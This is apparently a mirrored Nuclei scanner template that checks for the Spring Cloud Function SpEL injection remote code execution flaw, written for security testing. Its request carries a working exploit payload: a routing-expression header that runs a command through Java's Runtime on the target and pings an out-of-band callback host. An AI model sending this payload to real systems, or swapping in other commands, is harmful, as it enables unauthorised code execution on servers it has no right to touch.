mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-02-10 12:43:29 +08:00
34 lines
942 B
YAML
34 lines
942 B
YAML
id: springcloud-function-spel-rce
|
|
|
|
info:
|
|
name: Spring Cloud Function SPEL RCE
|
|
author: Mr-xn
|
|
severity: critical
|
|
reference:
|
|
- https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
|
|
- https://github.com/cckuailong/spring-cloud-function-SpEL-RCE
|
|
- https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection
|
|
tags: springcloud,rce
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /functionRouter HTTP/1.1
|
|
Host: {{Hostname}}
|
|
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping {{interactsh-url}}")
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
{{rand_base(8)}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "http"
|
|
- "dns"
|
|
condition: or
|
|
|
|
- type: status
|
|
status:
|
|
- 500 |